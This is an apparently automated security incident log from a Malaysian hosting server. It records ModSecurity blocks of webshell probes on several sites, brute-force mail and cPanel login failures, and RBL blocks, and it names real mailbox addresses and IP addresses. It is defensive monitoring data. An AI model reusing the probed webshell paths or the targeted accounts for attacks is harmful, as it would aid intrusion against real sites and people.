# incident

plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/img/photos/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 23:07:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58425: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.203
country_id: 3175395
description:
Jan 12 23:07:24 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.203 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.178.165.251
country_id: 1835841
description:
2026-01-12 23:09:35 dovecot_login authenticator failed for H=([211.178.165.251]) [211.178.165.251]:55199: 535 Incorrect authentication data (set_id=ken@smartcable.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.43.45
country_id: 6290252
description:
Jan 12 23:09:53 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.43.45 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.5.19
country_id: 690791
description:
Jan 12 23:09:27 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.5.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 76.132.238.43
country_id: 6252001
description:
Jan 12 23:09:28 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 76.132.238.43 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-01-12 23:09:30 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:45262: 535 Incorrect authentication data (set_id=mohamad.haznil@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.178.165.251
country_id: 1835841
description:
Jan 12 23:09:33 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.178.165.251 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.247.236
country_id: 798544
description:
Jan 12 23:10:31 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.247.236 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.76.189
country_id: 3469034
description:
Jan 12 23:11:06 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.76.189 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.57.17.171
country_id: 1814991
description:
Jan 12 23:10:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.57.17.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.57.17.171
country_id: 1814991
description:
2026-01-12 23:10:11 dovecot_login authenticator failed for H=([111.57.17.171]) [111.57.17.171]:51108: 535 Incorrect authentication data (set_id=mohamad.haznil)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.249.33.239
country_id: 6252001
description:
[2026-01-12 23:10:29 +0800] info [whostmgrd] 69.249.33.239 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.76.189
country_id: 3469034
description:
Jan 12 23:11:17 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.76.189 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.223
country_id: 1880251
domain: www.krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.krisfood.com/css/owl.carousel.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/themes/images/cdn-cgi/l/cdn-cgi/l/about.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.122.179.39
country_id: 6252001
domain: www.krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.krisfood.com/products.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.152
country_id: 1880251
domain: www.krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.krisfood.com/css/animate.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.199
country_id: 1880251
domain: www.krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.krisfood.com/fonts/Aller_Rg.woff HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.244
country_id: 1880251
domain: www.krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.krisfood.com/fonts/fontawesome-webfont5b62.woff2?v=4.6.3 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.132.32.143
country_id: 6252001
description:
2026-01-12 23:12:06 dovecot_login authenticator failed for H=(syn-072-132-032-143.res.spectrum.com) [72.132.32.143]:44234: 535 Incorrect authentication data (set_id=william.goh@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.153
country_id: 1880251
domain: www.krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.krisfood.com/css/responsive.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.158
country_id: 1880251
domain: www.krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.krisfood.com/css/font-awesome.min.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.186
country_id: 1880251
domain: www.krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.krisfood.com/css/style.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.226
country_id: 1880251
domain: www.krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.krisfood.com/css/bootstrap.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.121.37
country_id: 798544
description:
Jan 12 23:11:52 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.121.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.237.58.168
country_id: 1269750
description:
Jan 12 23:11:12 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.237.58.168 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.243
country_id: 1880251
domain: www.krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.krisfood.com/css/color.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.57.145.219
country_id: 6252001
description:
[2026-01-12 23:11:57 +0800] info [whostmgrd] 71.57.145.219 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.132.32.143
country_id: 6252001
description:
Jan 12 23:12:04 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.132.32.143 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.30.81.202
country_id: 1269750
description:
Jan 12 23:14:41 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.30.81.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.229
country_id: 732800
description:
Jan 12 23:14:53 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.229 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.57.69.227
country_id: 690791
description:
Jan 12 23:16:01 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.57.69.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-01-12 23:16:03 dovecot_login authenticator failed for H=([37.57.69.227]) [37.57.69.227]:45636: 535 Incorrect authentication data (set_id=admin@sutsb.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.88
country_id: 298795
description:
Jan 12 23:15:27 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.88 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.58.39.187
country_id: 3686110
domain: mail.uumism.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mail.uumism.edu.my/cgi-bin/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 76.132.238.43
country_id: 6252001
description:
Jan 12 23:16:31 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 76.132.238.43 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-01-12 23:16:33 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:55238: 535 Incorrect authentication data (set_id=william.goh@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.37.227
country_id: 2300660
description:
Jan 12 23:17:25 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.37.227 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/sliders/iso.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.244.196
country_id: 798544
description:
Jan 12 23:17:45 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.244.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.222.186
country_id: 1269750
description:
Jan 12 23:19:02 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.222.186 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.222.186
country_id: 1269750
description:
2026-01-12 23:19:04 dovecot_login authenticator failed for H=([182.95.222.186]) [182.95.222.186]:33726: 535 Incorrect authentication data (set_id=william.goh@manforce.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/languages/images/sliders/images/sliders/cdn-cgi/l/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.92.209.202
country_id: 614540
description:
Jan 12 23:21:29 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.92.209.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.8
country_id: 3175395
description:
Jan 12 23:21:48 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.8 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/languages/images/sliders/images/sliders/cdn-cgi/l/career.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.52.194
country_id: 1269750
description:
Jan 12 23:22:27 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.52.194 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.52.194
country_id: 1269750
description:
2026-01-12 23:22:29 dovecot_login authenticator failed for H=([182.95.52.194]) [182.95.52.194]:37524: 535 Incorrect authentication data (set_id=safuddin@ajplantations.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.254.133.120
country_id: 6252001
description:
[2026-01-12 23:23:46 +0800] info [whostmgrd] 69.254.133.120 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/images/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/portfolio/img/img/demos/img/img/img/img/product.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.227.34.68
country_id: 3865483
description:
Jan 12 23:28:01 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.227.34.68 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.127.94.140
country_id: 798544
description:
Jan 12 23:28:32 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.127.94.140 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.227.34.68
country_id: 3865483
description:
Jan 12 23:28:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.227.34.68 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.57.69.227
country_id: 690791
description:
Jan 12 23:28:21 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.57.69.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-01-12 23:28:23 dovecot_login authenticator failed for H=([37.57.69.227]) [37.57.69.227]:56447: 535 Incorrect authentication data (set_id=info@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 12 23:28:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.72.178
country_id: 798544
description:
Jan 12 23:28:50 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.72.178 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/img/photos/cdn-cgi/l/cdn-cgi/l/career.php||SC:/home/sutsbcom/public_html/img||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.14.51.58
country_id: 1814991
description:
Jan 12 23:30:37 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.14.51.58 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.14.51.58
country_id: 1814991
description:
2026-01-12 23:30:39 dovecot_login authenticator failed for H=(dns58.online.tj.cn) [117.14.51.58]:40459: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.151.230.14
country_id: 1269750
description:
2026-01-12 23:31:16 H=([103.151.230.14]) [103.151.230.14]:13418 F=<p.h.meng@pftfood.com> rejected RCPT <p.h.meng@pftfood.com>: smtp auth required


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.163.167.111
country_id: 6252001
description:
[2026-01-12 23:31:26 +0800] info [whostmgrd] 73.163.167.111 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 12 23:32:42 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.151.230.14
country_id: 1269750
description:
2026-01-12 23:32:29 H=([103.151.230.14]) [103.151.230.14]:13894 F=<p.h.meng@pftfood.com> rejected RCPT <p.h.meng@pftfood.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.151.230.14
country_id: 1269750
description:
2026-01-12 23:33:23 H=([103.151.230.14]) [103.151.230.14]:14184 F=<p.h.meng@pftfood.com> rejected RCPT <p.h.meng@pftfood.com>: smtp auth required


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/sliders/survey-meter.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 23:35:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58441: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.151.230.14
country_id: 1269750
description:
2026-01-12 23:34:14 H=([103.151.230.14]) [103.151.230.14]:14236 F=<p.h.meng@pftfood.com> rejected RCPT <p.h.meng@pftfood.com>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 23:35:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58442: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/about-sinaran-utama-teknologi/images/sliders/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.89.104.112
country_id: 6252001
description:
[2026-01-12 23:36:32 +0800] info [whostmgrd] 172.89.104.112 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-12 23:36:42 H=([45.144.212.242]) [45.144.212.242]:56085 F=<no_reply@admin.com> rejected RCPT <mustapa@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.221.50.37
country_id: 953987
description:
Jan 12 23:37:23 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.221.50.37 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.223
country_id: 6252001
description:
2026-01-12 23:37:32 2480984 [Warning] Aborted connection 2480984 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.223' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.182.153.15
country_id: 3469034
description:
Jan 12 23:37:59 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.182.153.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.182.153.15
country_id: 3469034
description:
Jan 12 23:38:14 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.182.153.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/sliders/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/themes/apm/images/iso.php||SC:/home/sutsbcom/public_html/wp-content/themes/apm||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/news-n-events/img/img/img/img/demos/img/img/img/img/index.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.142
country_id: 3175395
description:
Jan 12 23:43:33 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.142 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.230.243.232
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:23-47.23.230.243.232||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.87.2
country_id: 226074
description:
Jan 12 23:48:18 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.87.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.60.217
country_id: 953987
description:
Jan 12 23:49:00 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.60.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.106.137.86
country_id: 2963597
description:
Jan 12 23:49:32 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.106.137.86 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.74.5.91
country_id: 2395170
description:
Jan 12 23:49:47 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.74.5.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.60.217
country_id: 953987
description:
Jan 12 23:49:08 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.60.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.11.195.104
country_id: 3865483
description:
Jan 12 23:49:24 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.11.195.104 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.224
country_id: 3469034
description:
Jan 12 23:50:22 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.224 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.108.85.40
country_id: 3469034
description:
Jan 12 23:50:47 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.108.85.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.213.44
country_id: 933860
description:
Jan 12 23:52:21 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.213.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.252.94
country_id: 3865483
description:
Jan 12 23:52:44 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.252.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.173
country_id: 3469034
description:
Jan 12 23:53:36 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
